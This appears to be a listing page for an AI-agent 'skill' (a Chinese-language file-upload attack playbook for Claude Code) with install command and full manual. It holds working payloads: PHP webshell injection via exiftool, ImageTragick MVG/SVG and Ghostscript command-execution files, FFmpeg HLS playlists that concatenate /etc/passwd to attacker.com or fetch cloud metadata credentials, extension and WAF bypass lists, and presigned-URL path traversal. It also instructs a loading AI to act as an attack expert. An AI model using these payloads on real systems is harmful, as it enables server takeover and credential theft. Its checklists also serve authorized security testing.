关于 upload-insecure-files
用于审查文件上传功能的安全测试技能,按验证、存储、处理和检索环节梳理风险,帮助测试人员检查绕过方式、访问控制问题及文件处理链。
主要功能
- 01上传验证与绕过检查
- 02存储路径和检索分析
- 03处理链风险排查
- 04跨用户访问与覆盖测试
- 05上传漏洞组合路径梳理
适用场景
- 01检查扩展名与文件内容验证差异
- 02测试上传文件的公开访问和覆盖
- 03分析缩略图或文档处理器风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill upload-insecure-files安装后在 Claude Code 中输入/upload-insecure-files确认已加载。
附带文件SCENARIOS.md
详细介绍
技能:上传不安全文件——验证绕过、存储滥用与处理链
AI 加载说明:文件上传攻击专家手册。当目标接受文件、导入内容、头像、媒体、文档或归档文件,且你需要完整工作流时使用:验证绕过、存储路径滥用、上传后的访问、解析器利用、多租户覆盖,以及串联利用 XSS、XXE、CMDi、路径遍历或业务逻辑影响。对于 Web 服务器解析漏洞、PUT 方法利用和特定 CVE(WebLogic、Flink、Tomcat),请加载配套的 SCENARIOS.md。
0. 相关路由
扩展场景
遇到以下情况时,也请加载 SCENARIOS.md:
- IIS 解析漏洞——
x.asp/目录解析、;分号截断(shell.asp;.jpg) - Nginx 解析配置错误——在
cgi.fix_pathinfo=1时使用avatar.jpg/.php - Apache 解析——多个扩展名、
AddHandler、CVE-2017-15715 的\n(0x0A)绕过 - PUT 方法利用——IIS WebDAV PUT+COPY、Tomcat CVE-2017-12615 中
readonly+.jsp/绕过 - WebLogic CVE-2018-2894 通过 Web Service Test Page 任意文件上传
- Apache Flink CVE-2020-17518 路径遍历文件上传
- 上传 + 解析漏洞利用链——EXIF PHP 代码 + Nginx
/.php路径信息 - 完整扩展名绕过参考表(PHP/ASP/JSP 替代形式、大小写变体、空字节)
将此文件用作深入的上传工作流参考。还应加载:
- 当文件名、解压路径或包含路径可控制文件系统时,加载 path traversal lfi
- 当上传文件会在浏览器上下文中呈现时,加载 xss cross site scripting
- 当系统接受 SVG、OOXML 或 XML 导入内容时,加载 xxe xml external entity
- 当处理器、转换器或媒体流水线会执行系统工具时,加载 cmdi command injection
- 当配额、覆盖规则、审批或存储路径产生逻辑漏洞时,加载 business logic vulnerabilities
- 当服务器是 Apache Tomcat 且 WAF 会拦截
filename*中的.jsp时,加载 ghost-bits-cast-attack——Tomcat 的RFC2231Utility会将每个字符缩窄为字节,因此1.陪sp(U+966A 的低字节为j)会在磁盘上写入1.jsp,而 WAF 看不到.jsp字面值
1. 核心模型
每个上传功能都应按照四个独立的信任边界进行测试:
- 接受:文件存储前会进行哪些验证?
- 存储:文件写入何处,使用什么名称和权限?
- 处理:哪些后台工具、转换器、扫描器、解析器或解压器会处理文件?
- 提供:之后如何下载、呈现、转换或共享文件?
许多目标只验证其中一个阶段。漏洞通常出现在与文件上传阶段不同的阶段。
2. 首先提出侦察问题
选择载荷前,请先回答以下问题:
- 允许、拒绝或规范化了哪些扩展名?
- 后端信任扩展名、MIME 类型、魔数,还是三者都信任?
- 文件是否会被重命名、转码、解压、扫描或重新托管?
- 文件是直接提供、经代理提供、通过签名提供,还是由 CDN 提供?
- 一个用户能否预测或覆盖另一个用户的文件路径?
- 文件名、元数据或预览内容是否会反映到 HTML、日志、管理控制台或 PDF 中?
3. 验证绕过矩阵
| 验证方式 | 测试内容 |
|---|---|
| 扩展名黑名单 | 双重扩展名、大小写切换、尾随句点、替代分隔符 |
| 仅检查内容类型 | 不匹配的 multipart Content-Type、浏览器与代理重写的差异 |
| 仅检查魔数 | 多格式文件,或带有危险尾部内容的有效文件头 |
| 服务端重命名 | 危险内容在重命名后是否仍然存在,以及之后的渲染行为 |
| 仅允许图像 | SVG、带元数据的畸形图像、解析器差异 |
| 仅处理归档或导入 | zip 内容、嵌套路径名称、XML 文件成员、解压行为 |
具有代表性的绕过类别:
shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zip
这组小型样本已经涵盖了先前独立上传载荷助手的主要用例,因此首次筛选时无需额外条目。
不要止步于上传成功。仅上传成功,而没有危险的取回或处理行为,还不够。
4. 存储与取回滥用
可预测或可控的路径
查找以下模式:
/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>
测试以下情况:
- 通过猜测 ID、slug 或 UUID 模式跨租户读取数据
- 通过重复使用其他用户的文件名进行覆盖
- 文件名或归档成员中的路径规范化漏洞
- 尽管 UI 层有访问控制,私有文件仍可通过直接对象 URL 访问
基于文件名的注入面
即使文件本身安全,如果文件名被反映到以下位置,也可能造成危险:
- 图库 HTML
- 管理员审核面板
- PDF/CSV 导出任务
- 日志、审计视图或电子邮件通知
如果文件名会被反映,就应将其视为存储的输入,而不是被动元数据。
5. 处理链攻击
高价值的上传漏洞往往出现在异步处理器中。
常见处理器类别
| 处理器 | 风险 |
|---|---|
| 图像调整大小或生成缩略图 | 解析器差异、ImageMagick 或库漏洞、元数据反射 |
| 视频或音频转码 | FFmpeg 风格的解析与协议滥用 |
| 归档解压 | zip slip、覆盖、解压缩炸弹 |
| 文档导入 | CSV 公式注入、Office XML 解析、与宏相关的工作流 |
| XML 或 SVG 解析 | XXE、SSRF、本地文件泄露 |
| HTML 转 PDF 或预览渲染 | SSRF、脚本执行、本地文件引用 |
| AV 或 DLP 扫描 | 解压深度、隐藏的嵌套内容、竞态条件 |
需要证明的内容
- 文件会被处理器处理。
- 处理器的行为与上传验证器不同。
- 这种差异会造成影响:读取、执行、覆盖、SSRF 或存储型客户端执行。
6. 高价值利用路径
浏览器执行
- SVG 作为主动内容提供
- HTML 或文本上传内容以内联方式渲染
- EXIF 或文件名被反映到 HTML 页面中
XML 和文档解析
- 使用 SVG XXE 读取文件或发起 SSRF
- OOXML 导入导致 XML 实体或解析器滥用
- CSV 导入导致分析工作流中执行公式
服务端执行或文件系统影响
- 图像或文档转换器调用 shell 工具
- zip slip 将文件写入预期目录之外
- 上传到 LFI 的利用链:上传的内容随后可被包含
访问控制与共享漏洞
- 可通过可预测的 URL 访问私有上传内容
- 审核或隔离路径仍可公开访问
- 一个用户替换另一用户的公开资源
7. 授权与业务逻辑检查
上传功能经常隐藏着非解析器类漏洞:
- 上传配额仅在 UI 中强制执行,API 中未强制执行
- 计划限制在上传页面检查,但在导入端点未检查
- 文件所有权仅在列表视图中检查,直接下载或替换端点未检查
- 可直接调用最终存储端点绕过审批工作流
- 删除或替换操作缺少对象级授权
如果上传路径包含账户、项目或组织标识符,务必执行 A/B 授权测试。
8. 测试顺序
- 上传一个无害的标记文件,并摸清重命名、路径和检索行为。
- 尝试一个绕过验证的样本和一个主动内容样本。
- 检查检索到的文件是以附件形式提供、内联渲染、转换后的预览,还是在后台处理。
- 如果存在处理流程,按处理器类别进一步测试:XSS、XXE、CMDi、zip slip 或 SSRF。
- 针对文件 ID、替换端点和公开 URL,测试租户边界和覆盖行为。
9. 攻击链图谱
| 观察结果 | 下一步 |
|---|---|
| 接受 SVG 或 XML | xxe xml external entity |
| 文件名或元数据被反射 | xss cross site scripting |
| 转换器或处理器通过 shell 执行命令 | cmdi command injection |
| 提取路径似乎可控 | path traversal lfi |
| 存在覆盖、配额、审批或租户漏洞 | business logic vulnerabilities |
10. 操作人员检查清单
[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries
11. 上传成功率模型与高级方法
成功率公式
P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)
许多测试人员只关注绕过文件类型检查,却忽略了:
- 路径发现:不知道上传路径,即使成功绕过检查也毫无用处
- 服务器解析:即使上传了
.php文件,如果 Web 服务器不将其解析为 PHP,就无法实现 RCE
富文本编辑器路径矩阵
| 编辑器 | 常见上传路径 | 版本指示标记 |
|---|---|---|
| FCKeditor | /fckeditor/editor/filemanager/connectors/ | /fckeditor/_whatsnew.html |
| CKEditor | /ckeditor/ | /ckeditor/CHANGES.md |
| eWebEditor | /ewebeditor/ | 管理员:/ewebeditor/admin_login.asp |
| KindEditor | /kindeditor/attached/ | /kindeditor/kindeditor.js |
| UEditor | /ueditor/net/ 或 /ueditor/php/ | /ueditor/ueditor.config.js |
验证缺陷分类(5 个维度)
| 维度 | 缺陷示例 |
|---|---|
| 位置 | 仅在客户端验证,前后端验证不一致 |
| 方法 | 扩展名黑名单(不完整)、仅检查 MIME、仅检查魔数 |
| 逻辑顺序 | 执行检查之后才重命名,在完整上传之前就进行验证 |
| 范围 | 检查文件名但不检查文件内容,仅检查开头字节 |
| 执行上下文 | 上传成功,但由不同的虚拟主机/处理程序处理该文件 |
响应篡改绕过
# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filtering
IIS 分号解析
# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA → Bypasses extension check, IIS may execute
Apache 多扩展名
# Apache parses right-to-left for handler:
shell.php.jpg → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a → Bypasses regex but Apache still executes as PHP
Nginx cgi.fix_pathinfo
# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded
12. 多格式文件技术
同时符合两种或更多格式规范的文件,可绕过特定格式的验证,同时携带危险载荷。
GIFAR(GIF + JAR)
# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)
cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>
PNG + PHP 多格式文件
# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes
# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"
# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadata
JPEG + JS 多格式文件
# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
# Combined with content-type confusion → XSS via image upload
PDF + JS 多格式文件
# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*
13. ImageMagick 利用链
CVE-2016-3714(ImageTragick)——通过委托程序实现 RCE
ImageMagick 会使用“委托程序”(外部程序)执行某些格式的转换。精心构造的文件可触发 shell 命令执行:
MVG(Magick Vector Graphics)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
SVG 委托程序滥用
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
<image xlink:href="https://example.com/image.jpg"|id > /tmp/pwned"" x="0" y="0"/>
</svg>
Ghostscript 利用
ImageMagick 会委托 Ghostscript 处理 PDF/PS/EPS。Ghostscript 曾出现过多次沙箱逃逸漏洞:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops
上传为 .eps、.ps 或 .pdf → ImageMagick 调用 Ghostscript → RCE。
缓解措施检查
□ Is ImageMagick policy.xml restricting dangerous coders?
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?
14. FFmpeg SSRF 与本地文件读取
HLS 播放列表文件读取
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
上传为 .m3u8 或 .ts → FFmpeg 处理该文件 → 文件内容与标头拼接后发送到攻击者服务器,或嵌入输出视频中。
通过 HLS 实现 SSRF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
FFmpeg 在服务器端获取 URL → 对云元数据端点发起 SSRF。
用于本地文件包含的 Concat 协议
#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLIST
AVI + 字幕 SSRF
创建包含引用 URL 的字幕轨道的 AVI:
ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi
15. 云存储上传注意事项
S3 预签名 URL 滥用
# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type
# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed
# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.json
审计清单:
□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)
Azure Blob Storage SAS 令牌
# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)
GCS 签名 URL
# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type
16. 绕过 CONTENT-TYPE 验证
双重扩展名
shell.php.jpg → Apache with AddHandler may execute as PHP
shell.asp;.jpg → IIS semicolon truncation
shell.php%00.jpg → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx → Unknown extension → Apache falls back to previous handler
利用 MIME 嗅探
当服务器未发送 Content-Type,或缺少 X-Content-Type-Options: nosniff 时:
# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passes
Content-Type 标头与扩展名不匹配
# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg
# File content: <?php system($_GET['cmd']); ?>
# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHP
大小写变化
shell.PhP shell.pHP shell.Php
shell.aSp shell.jSp shell.ASPX
尾随字符
shell.php. → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20 → trailing space
shell.php%20 → URL-encoded space